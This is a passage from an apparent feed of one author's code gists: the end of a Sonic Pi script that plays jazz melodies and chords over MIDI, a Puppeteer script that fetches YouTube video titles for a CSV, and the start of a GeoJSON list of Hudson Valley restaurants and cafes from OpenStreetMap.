    notes: [:G, :A, :B, :G, :G, :A, :B, :G, :E, :E, :F, :G],
    durations: [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
  },
  giant_steps_segment: {
    notes: [:B, :D, :F, :B, :G, :B, :D, :F, :E, :G, :B, :D],
    durations: [0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5]
  }
}

# Function to play a specific melody with MIDI, swapping notes from another melody
define :play_melody_with_variation_midi do |channel, primary_melody_name|
  primary_melody = melodies[primary_melody_name][:notes]
  primary_durations = melodies[primary_melody_name][:durations]
  total_duration = primary_durations.sum * [1, 0.5, 1.5].choose # Slowing down the melody
  
  primary_melody.each_with_index do |note, i|
    if one_in(6 )
      alternate_melody_name = melodies.keys.reject { |m| m == primary_melody_name }.choose
      note = melodies[alternate_melody_name][:notes].choose
    end
    
    midi note, channel: channel, sustain: primary_durations[i]
    sleep total_duration / primary_melody.length
  end
end


# Function to play a more harmonious jazzy chord based on the currently active melody
define :play_jazzy_chord_midi do |channel, current_melody|
  if one_in(4)  # Adjust the frequency of jazzy chords here
    melody_notes = melodies[current_melody][:notes]
    root_note = melody_notes.choose  # Choosing a root note from the melody
    
    # Selecting chord types that are more likely to harmonize
    chord_types = [:major7, :minor7, :maj9]
    chord_type = chord_types.choose
    
    chord_notes = chord(root_note, chord_type)
    chord_notes.each do |note|
      midi note, channel: channel, sustain: [2,4,6].choose
    end
    sleep [2,4,8].choose  # Pause between chords
  end
end

# Mixing of evolving melodies and occasional jazzy chords over different MIDI channels
in_thread do
  loop do
    primary_melody = melodies.keys.choose
    play_melody_with_variation_midi 1, primary_melody
    play_jazzy_chord_midi 3, primary_melody
    sleep [1, 2, 4].choose # Adjusting space between melody plays
  end
end

in_thread do
  loop do
    primary_melody = melodies.keys.choose
    play_melody_with_variation_midi 2, primary_melody
    play_jazzy_chord_midi 3, primary_melody
    sleep [2, 4, 8].choose # Adjusting space between melody plays
  end
end</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[csv_to_title.js]]></title>
      <link>https://gist.github.com/492436ba80f9762e87bf51041f58221c</link>
      <guid isPermaLink="true">https://gist.github.com/492436ba80f9762e87bf51041f58221c</guid>
      <pubDate>Mon, 25 Dec 2023 02:58:02 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2023-12-25T02:58:02.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>csv_to_title.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>2375</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>csv_to_title.js</h3><pre><code class="language-javascript">const puppeteer = require(&apos;puppeteer&apos;);
const fs = require(&apos;fs&apos;);

(async () =&gt; {
  try {
    // Read the CSV file
    const inputCsv = fs.readFileSync(&apos;output.csv&apos;, &apos;utf-8&apos;);
    const records = inputCsv.split(&apos;\n&apos;).map((row, index) =&gt; {
      if (index === 0) return null; // Skip the header row
      const [Index, Title, URL] = row.split(&apos;,&apos;);
      const longerURL = URL?.match(/&quot;(.*?)&quot;/)[1]; // Extract the longer URL
      return { Index, Title, URL: longerURL };
    }).filter(record =&gt; record !== null);

    // Check if the video has already been scraped
    const scrapedCsvPath = &apos;updated_youtube_videos.csv&apos;;
    let scrapedCsv = &apos;&apos;;
    if (fs.existsSync(scrapedCsvPath)) {
      scrapedCsv = fs.readFileSync(scrapedCsvPath, &apos;utf-8&apos;);
    }
    const scrapedRecords = scrapedCsv.split(&apos;\n&apos;).map((row, index) =&gt; {
      if (index === 0) return null; // Skip the header row
      const [Index, Title, URL] = row.split(&apos;,&apos;);
      return { Index, Title, URL };
    }).filter(record =&gt; record !== null);
    
    const unscrapedRecords = records.filter(record =&gt; {
      const isScraped = scrapedRecords.some(scrapedRecord =&gt; scrapedRecord.URL === record.URL);
      return !isScraped;
    });

    // Launch Puppeteer
    const browser = await puppeteer.launch({
      headless: false
    });
    const page = await browser.newPage();

    // Process each URL to get the video title
    for (const record of unscrapedRecords) {
      try {
        await page.goto(record.URL, { waitUntil: &apos;networkidle2&apos;, timeout: 30000 });
        const title = await page.title();
        // Update the title in your record
        record.Title = title.replace(&apos; - YouTube&apos;, &apos;&apos;); // Removing additional YouTube text

        console.log(`Updated record ${record.Index} with title ${record.Title}`);
      } catch (error) {
        console.error(`Error processing record ${record.Index}: ${error.message}`);
        // Continue to the next record
        continue;
      }
    }

    // Close the browser
    await browser.close();

    // Convert the updated records back to CSV
    const outputCsv = unscrapedRecords.map(record =&gt; `${record.Index},&quot;${record.Title}&quot;,${record.URL}`).join(&apos;\n&apos;);

    // Write the new CSV to file
    fs.writeFileSync(&apos;updated_youtube_videos.csv&apos;, outputCsv);
  } catch (error) {
    console.error(`An error occurred: ${error.message}`);
  }
})();</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[hv_restaurants_and_farms.json]]></title>
      <link>https://gist.github.com/89eed83d2974eeb8857784614bfa0921</link>
      <guid isPermaLink="true">https://gist.github.com/89eed83d2974eeb8857784614bfa0921</guid>
      <pubDate>Thu, 21 Dec 2023 01:03:57 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2023-12-21T01:03:58.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>hv_restaurants_and_farms.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>133814</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>hv_restaurants_and_farms.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;FeatureCollection&quot;, &quot;features&quot;: [
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9310721,41.6608461]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/303663108&quot;,&quot;amenity&quot;:&quot;cafe&quot;,&quot;brand&quot;:&quot;Starbucks&quot;,&quot;brand:wikidata&quot;:&quot;Q37158&quot;,&quot;brand:wikipedia&quot;:&quot;en:Starbucks&quot;,&quot;contact:website&quot;:&quot;https://www.starbucks.com/store-locator/store/14351/poughkeepsie-south-road-2519-south-road-rte-9-b-poughkeepsie-ny-126015465-&quot;,&quot;cuisine&quot;:&quot;coffee_shop&quot;,&quot;name&quot;:&quot;Starbucks&quot;,&quot;official_name&quot;:&quot;Starbucks Coffee&quot;,&quot;takeaway&quot;:&quot;yes&quot;},&quot;id&quot;:&quot;node/303663108&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.890222,41.5185582]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/344805259&quot;,&quot;addr:housenumber&quot;:&quot;447&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;brand&quot;:&quot;McDonald&apos;s&quot;,&quot;brand:wikidata&quot;:&quot;Q38076&quot;,&quot;brand:wikipedia&quot;:&quot;en:McDonald&apos;s&quot;,&quot;cuisine&quot;:&quot;burger&quot;,&quot;name&quot;:&quot;McDonald&apos;s&quot;,&quot;takeaway&quot;:&quot;yes&quot;},&quot;id&quot;:&quot;node/344805259&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.8995849,41.5373203]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/344805280&quot;,&quot;addr:city&quot;:&quot;Fishkill&quot;,&quot;addr:country&quot;:&quot;US&quot;,&quot;addr:county&quot;:&quot;Dutchess&quot;,&quot;addr:housenumber&quot;:&quot;730&quot;,&quot;addr:postcode&quot;:&quot;12524&quot;,&quot;addr:state&quot;:&quot;NY&quot;,&quot;addr:street&quot;:&quot;Route 9&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;brand&quot;:&quot;Burger King&quot;,&quot;brand:wikidata&quot;:&quot;Q177054&quot;,&quot;brand:wikipedia&quot;:&quot;en:Burger King&quot;,&quot;cuisine&quot;:&quot;burger&quot;,&quot;drive_through&quot;:&quot;yes&quot;,&quot;name&quot;:&quot;Burger King&quot;,&quot;nysgissam:nysaddresspointid&quot;:&quot;DUTC030171&quot;,&quot;phone&quot;:&quot;+1 (845) 897-5437&quot;,&quot;ref&quot;:&quot;1793&quot;,&quot;takeaway&quot;:&quot;yes&quot;,&quot;website&quot;:&quot;https://www.bk.com/store-locator/store/restaurant_1793&quot;},&quot;id&quot;:&quot;node/344805280&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9160936,41.6271056]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/347406524&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;brand&quot;:&quot;Chili&apos;s&quot;,&quot;brand:wikidata&quot;:&quot;Q1072948&quot;,&quot;brand:wikipedia&quot;:&quot;en:Chili&apos;s&quot;,&quot;cuisine&quot;:&quot;tex-mex&quot;,&quot;name&quot;:&quot;Chili&apos;s&quot;,&quot;official_name&quot;:&quot;Chili&apos;s Grill &amp; Bar&quot;},&quot;id&quot;:&quot;node/347406524&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.8993812,41.5280088]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/347414562&quot;,&quot;alt_name&quot;:&quot;Kentucky Fried Chicken&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;brand&quot;:&quot;KFC&quot;,&quot;brand:wikidata&quot;:&quot;Q524757&quot;,&quot;cuisine&quot;:&quot;chicken&quot;,&quot;name&quot;:&quot;KFC&quot;,&quot;takeaway&quot;:&quot;yes&quot;},&quot;id&quot;:&quot;node/347414562&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0342905,41.5267802]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/412216583&quot;,&quot;addr:country&quot;:&quot;US&quot;,&quot;addr:housenumber&quot;:&quot;75&quot;,&quot;addr:postcode&quot;:&quot;12550&quot;,&quot;addr:state&quot;:&quot;NY&quot;,&quot;addr:street&quot;:&quot;North Plank Road&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;brand&quot;:&quot;Pizza Hut&quot;,&quot;brand:wikidata&quot;:&quot;Q191615&quot;,&quot;brand:wikipedia&quot;:&quot;en:Pizza Hut&quot;,&quot;contact:website&quot;:&quot;https://locations.pizzahut.com/ny/newburgh/75-n-plank-rd&quot;,&quot;cuisine&quot;:&quot;pizza&quot;,&quot;name&quot;:&quot;Pizza Hut&quot;},&quot;id&quot;:&quot;node/412216583&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0701747,41.5038688]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/413255637&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;brand&quot;:&quot;TGI Friday&apos;s&quot;,&quot;brand:wikidata&quot;:&quot;Q1524184&quot;,&quot;brand:wikipedia&quot;:&quot;en:TGI Fridays&quot;,&quot;cuisine&quot;:&quot;american&quot;,&quot;name&quot;:&quot;TGI Friday&apos;s&quot;},&quot;id&quot;:&quot;node/413255637&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.1130313,41.5213584]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/540476937&quot;,&quot;addr:state&quot;:&quot;NY&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;brand&quot;:&quot;Arby&apos;s&quot;,&quot;brand:wikidata&quot;:&quot;Q630866&quot;,&quot;cuisine&quot;:&quot;sandwich&quot;,&quot;name&quot;:&quot;Arby&apos;s&quot;,&quot;takeaway&quot;:&quot;yes&quot;},&quot;id&quot;:&quot;node/540476937&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.1119413,41.5222822]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/540476943&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;name&quot;:&quot;Stewart Airport Diner&quot;},&quot;id&quot;:&quot;node/540476943&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0703735,41.5052186]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/540477002&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;brand&quot;:&quot;Burger King&quot;,&quot;brand:wikidata&quot;:&quot;Q177054&quot;,&quot;brand:wikipedia&quot;:&quot;en:Burger King&quot;,&quot;cuisine&quot;:&quot;burger&quot;,&quot;name&quot;:&quot;Burger King&quot;,&quot;takeaway&quot;:&quot;yes&quot;},&quot;id&quot;:&quot;node/540477002&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0709743,41.5053793]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/540477010&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;name&quot;:&quot;Orange Hill Restaurant&quot;},&quot;id&quot;:&quot;node/540477010&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0737295,41.5050386]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/540477015&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;name&quot;:&quot;Union Square Restaurant&quot;},&quot;id&quot;:&quot;node/540477015&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.1299571,41.5255916]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/540479183&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;brand&quot;:&quot;Quiznos&quot;,&quot;brand:wikidata&quot;:&quot;Q1936229&quot;,&quot;brand:wikipedia&quot;:&quot;en:Quiznos&quot;,&quot;cuisine&quot;:&quot;sandwich&quot;,&quot;name&quot;:&quot;Quiznos&quot;},&quot;id&quot;:&quot;node/540479183&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.1347095,41.5258248]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/540479184&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;name&quot;:&quot;Johnny&apos;s Pizzeria&quot;},&quot;id&quot;:&quot;node/540479184&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9309591,41.6596465]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/557126904&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;brand&quot;:&quot;Red Robin&quot;,&quot;brand:wikidata&quot;:&quot;Q7304886&quot;,&quot;brand:wikipedia&quot;:&quot;en:Red Robin&quot;,&quot;cuisine&quot;:&quot;burger&quot;,&quot;name&quot;:&quot;Red Robin&quot;,&quot;official_name&quot;:&quot;Red Robin Gourmet Burgers and Brews&quot;},&quot;id&quot;:&quot;node/557126904&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0577338,41.4533313]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/558677048&quot;,&quot;addr:city&quot;:&quot;New Windsor&quot;,&quot;addr:housenumber&quot;:&quot;2639&quot;,&quot;addr:postcode&quot;:&quot;12553&quot;,&quot;addr:state&quot;:&quot;NY&quot;,&quot;addr:street&quot;:&quot;State Route 32&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;brand&quot;:&quot;McDonald&apos;s&quot;,&quot;brand:wikidata&quot;:&quot;Q38076&quot;,&quot;cuisine&quot;:&quot;burger&quot;,&quot;name&quot;:&quot;McDonald&apos;s&quot;,&quot;nysgissam:nysaddresspointid&quot;:&quot;ORAN079698&quot;,&quot;takeaway&quot;:&quot;yes&quot;},&quot;id&quot;:&quot;node/558677048&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0582731,41.4543663]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/558677437&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;name&quot;:&quot;Bukhara Bistro&quot;},&quot;id&quot;:&quot;node/558677437&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0579297,41.4545336]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/558677439&quot;,&quot;alt_name&quot;:&quot;Dunkin&apos; Donuts&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;brand&quot;:&quot;Dunkin&apos;&quot;,&quot;brand:wikidata&quot;:&quot;Q847743&quot;,&quot;contact:website&quot;:&quot;https://locations.dunkindonuts.com/en/ny/vails-gate/1002-route-94/304729&quot;,&quot;cuisine&quot;:&quot;donut;coffee_shop&quot;,&quot;name&quot;:&quot;Dunkin&apos;&quot;,&quot;takeaway&quot;:&quot;yes&quot;},&quot;id&quot;:&quot;node/558677439&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0572431,41.4549195]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/558677550&quot;,&quot;addr:city&quot;:&quot;New Windsor&quot;,&quot;addr:housenumber&quot;:&quot;420&quot;,&quot;addr:postcode&quot;:&quot;12553&quot;,&quot;addr:state&quot;:&quot;NY&quot;,&quot;addr:street&quot;:&quot;Windsor Highway&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;brand&quot;:&quot;Domino&apos;s&quot;,&quot;brand:wikidata&quot;:&quot;Q839466&quot;,&quot;cuisine&quot;:&quot;pizza&quot;,&quot;name&quot;:&quot;Domino&apos;s&quot;,&quot;nysgissam:nysaddresspointid&quot;:&quot;ORAN082341&quot;,&quot;takeaway&quot;:&quot;yes&quot;},&quot;id&quot;:&quot;node/558677550&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0525224,41.4634103]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/558677795&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;name&quot;:&quot;Popeyes&quot;},&quot;id&quot;:&quot;node/558677795&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0513208,41.4632752]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/558677810&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;name&quot;:&quot;Planet Wings&quot;},&quot;id&quot;:&quot;node/558677810&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0712056,41.5240683]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/587983083&quot;,&quot;addr:city&quot;:&quot;Newburgh&quot;,&quot;addr:housenumber&quot;:&quot;1431&quot;,&quot;addr:postcode&quot;:&quot;12550&quot;,&quot;addr:state&quot;:&quot;NY&quot;,&quot;addr:street&quot;:&quot;NY-300&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;cuisine&quot;:&quot;pizza&quot;,&quot;name&quot;:&quot;Leo&apos;s Italian Restaurant &amp; Pizzaria&quot;},&quot;id&quot;:&quot;node/587983083&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0712365,41.5213601]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/587983157&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;brand&quot;:&quot;Perkins&quot;,&quot;brand:wikidata&quot;:&quot;Q7169056&quot;,&quot;brand:wikipedia&quot;:&quot;en:Perkins Restaurant &amp; Bakery&quot;,&quot;cuisine&quot;:&quot;american&quot;,&quot;name&quot;:&quot;Perkins&quot;,&quot;official_name&quot;:&quot;Perkins Restaurant and Bakery&quot;},&quot;id&quot;:&quot;node/587983157&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0688708,41.5071084]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/587983191&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;brand&quot;:&quot;Denny&apos;s&quot;,&quot;brand:wikidata&quot;:&quot;Q1189695&quot;,&quot;brand:wikipedia&quot;:&quot;en:Denny&apos;s&quot;,&quot;cuisine&quot;:&quot;american&quot;,&quot;name&quot;:&quot;Denny&apos;s&quot;},&quot;id&quot;:&quot;node/587983191&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0680051,41.5058914]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/587983229&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;brand&quot;:&quot;LongHorn Steakhouse&quot;,&quot;brand:wikidata&quot;:&quot;Q3259007&quot;,&quot;brand:wikipedia&quot;:&quot;en:LongHorn Steakhouse&quot;,&quot;cuisine&quot;:&quot;steak_house&quot;,&quot;name&quot;:&quot;LongHorn Steakhouse&quot;},&quot;id&quot;:&quot;node/587983229&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0832593,41.8440844]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/612023728&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;name&quot;:&quot;Rosendale Cafe&quot;,&quot;website&quot;:&quot;http://RosendaleCafe.com/&quot;},&quot;id&quot;:&quot;node/612023728&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0827255,41.8439374]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/612024053&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;cocktails&quot;:&quot;yes&quot;,&quot;cuisine&quot;:&quot;japanese&quot;,&quot;drink:beer&quot;:&quot;draught&quot;,&quot;drink:liquor&quot;:&quot;yes&quot;,&quot;drink:wine&quot;:&quot;yes&quot;,&quot;name&quot;:&quot;Soy&quot;,&quot;opening_hours&quot;:&quot;We-Fr 17:00-22:00; Sa 12:00-22:00; Su 12:00-21:00&quot;,&quot;outdoor_seating&quot;:&quot;garden&quot;},&quot;id&quot;:&quot;node/612024053&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9588387,41.4172932]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/659542740&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;name&quot;:&quot;Foundry Cafe&quot;},&quot;id&quot;:&quot;node/659542740&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9998776,42.0141847]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/882685049&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;cuisine&quot;:&quot;burger&quot;,&quot;name&quot;:&quot;Roy Rogers&quot;,&quot;opening_hours&quot;:&quot;24/7&quot;},&quot;id&quot;:&quot;node/882685049&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9999562,42.0140197]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/882685081&quot;,&quot;amenity&quot;:&quot;cafe&quot;,&quot;name&quot;:&quot;Starbucks&quot;},&quot;id&quot;:&quot;node/882685081&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9999848,42.0142006]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/882685088&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;cuisine&quot;:&quot;fish_and_chips&quot;,&quot;name&quot;:&quot;Arthur Treachers&quot;},&quot;id&quot;:&quot;node/882685088&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9999849,42.0141129]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/882685092&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;cuisine&quot;:&quot;sandwich&quot;,&quot;name&quot;:&quot;Quiznos Subs&quot;},&quot;id&quot;:&quot;node/882685092&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9207766,41.6064126]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/973774070&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;cuisine&quot;:&quot;mexican&quot;,&quot;name&quot;:&quot;Cafe Maya&quot;},&quot;id&quot;:&quot;node/973774070&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.085214,41.5776504]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/990803275&quot;,&quot;amenity&quot;:&quot;cafe&quot;,&quot;drive_through&quot;:&quot;yes&quot;,&quot;name&quot;:&quot;Starbucks&quot;},&quot;id&quot;:&quot;node/990803275&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0885961,41.5923855]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/990803280&quot;,&quot;amenity&quot;:&quot;cafe&quot;,&quot;name&quot;:&quot;LavAzza&quot;},&quot;id&quot;:&quot;node/990803280&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0887104,41.5921816]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/990803281&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;cuisine&quot;:&quot;pizza&quot;,&quot;name&quot;:&quot;Pizzeria Uno&quot;},&quot;id&quot;:&quot;node/990803281&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0886704,41.592306]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/990803282&quot;,&quot;air_conditioning&quot;:&quot;yes&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;brand&quot;:&quot;McDonald&apos;s&quot;,&quot;brand:wikidata&quot;:&quot;Q38076&quot;,&quot;brand:wikipedia&quot;:&quot;en:McDonald&apos;s&quot;,&quot;cuisine&quot;:&quot;burger&quot;,&quot;indoor_seating&quot;:&quot;yes&quot;,&quot;name&quot;:&quot;McDonald&apos;s&quot;,&quot;opening_hours&quot;:&quot;24/7&quot;,&quot;outdoor_seating&quot;:&quot;no&quot;,&quot;smoking&quot;:&quot;no&quot;,&quot;wheelchair&quot;:&quot;yes&quot;},&quot;id&quot;:&quot;node/990803282&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9312835,41.6593098]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/1084586786&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;name&quot;:&quot;La Luna&quot;},&quot;id&quot;:&quot;node/1084586786&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.1007286,41.4983221]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/1096935553&quot;,&quot;amenity&quot;:&quot;restaurant&quot;},&quot;id&quot;:&quot;node/1096935553&quot;},
